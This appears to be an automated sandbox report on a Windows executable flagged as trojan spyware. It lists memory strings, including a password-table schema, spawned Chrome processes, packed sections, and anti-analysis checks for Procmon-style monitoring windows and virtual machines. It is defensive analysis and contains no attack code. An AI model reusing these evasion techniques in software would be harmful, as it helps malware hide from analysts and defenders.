Source: TdloJt4gY3.exe, 00000000.00000003.1618840292.0000000006623000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1613666051.00000000065A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1607493817.0000000005F5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1600223111.0000000006275000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1608820309.00000000063FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1628587831.0000000006400000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1611207121.00000000064C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1628951813.0000000006404000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1613201937.00000000064CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1600484617.00000000063FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1609825430.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1596543164.00000000061F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1619575016.0000000006512000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1616940552.00000000065F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1615090388.00000000064F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1609716726.00000000063F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1616775688.00000000064E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1606409705.00000000061F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1610160148.00000000063FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1610061886.00000000064B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1617668230.000000000650D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1628123113.0000000006539000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1603863419.00000000063F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1625284869.0000000006532000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1627455005.00000000063F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1614136516.00000000065C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1626655105.00000000063F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1631509463.0000000006554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe
Source: TdloJt4gY3.exe, 00000000.00000003.1635415818.0000000006560000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs TdloJt4gY3.exe

Source: TdloJt4gY3.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: TdloJt4gY3.exe

Static PE information: Section: ZLIB complexity 0.9995915032679739

Source: TdloJt4gY3.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/67@17/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\TdloJt4gY3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: TdloJt4gY3.exe, 00000000.00000003.1399491499.0000000005F8C000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399959381.0000000005F6E000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1423577748.0000000005F8D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: TdloJt4gY3.exe	ReversingLabs: Detection: 55%
Source: TdloJt4gY3.exe	Virustotal: Detection: 54%

Source: C:\Users\user\Desktop\TdloJt4gY3.exe

File read: C:\Users\user\Desktop\TdloJt4gY3.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\TdloJt4gY3.exe "C:\Users\user\Desktop\TdloJt4gY3.exe"
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1976,i,11112541145755305817,6988053070862879912,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1572,i,9508443502373598390,10805863562423066413,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1976,i,11112541145755305817,6988053070862879912,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1572,i,9508443502373598390,10805863562423066413,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: TdloJt4gY3.exe

Static file information: File size 2953728 > 1048576

Source: TdloJt4gY3.exe

Static PE information: Raw size of edofzzaq is bigger than: 0x100000 < 0x2a7600

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: TdloJt4gY3.exe

Static PE information: real checksum: 0x2df422 should be: 0x2d23f4

Source: TdloJt4gY3.exe	Static PE information: section name:
Source: TdloJt4gY3.exe	Static PE information: section name: .rsrc
Source: TdloJt4gY3.exe	Static PE information: section name: .idata
Source: TdloJt4gY3.exe	Static PE information: section name: edofzzaq
Source: TdloJt4gY3.exe	Static PE information: section name: oihjsrsr
Source: TdloJt4gY3.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B1181 push esp; iretd	0_3_015B1182
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B1181 push esp; iretd	0_3_015B1182
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B1181 push esp; iretd	0_3_015B1182
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B1181 push esp; iretd	0_3_015B1182
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_05F687B4 push esi; retf	0_3_05F687B7
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_05F687B4 push esi; retf	0_3_05F687B7
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_05F687B4 push esi; retf	0_3_05F687B7
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_05F61D7D push esi; retf	0_3_05F61D80
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_05F61D7D push esi; retf	0_3_05F61D80
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B1181 push esp; iretd	0_3_015B1182
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B1181 push esp; iretd	0_3_015B1182
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B1181 push esp; iretd	0_3_015B1182
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B1181 push esp; iretd	0_3_015B1182
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_05F687B4 push esi; retf	0_3_05F687B7
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_05F687B4 push esi; retf	0_3_05F687B7
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_05F687B4 push esi; retf	0_3_05F687B7
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_05F61D7D push esi; retf	0_3_05F61D80
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_05F61D7D push esi; retf	0_3_05F61D80
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B0917 push esi; ret	0_3_015B0918
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Code function: 0_3_015B1181 push esp; iretd	0_3_015B1182

Source: TdloJt4gY3.exe

Static PE information: section name: entropy: 7.980297944890866

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\TdloJt4gY3.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\TdloJt4gY3.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\TdloJt4gY3.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

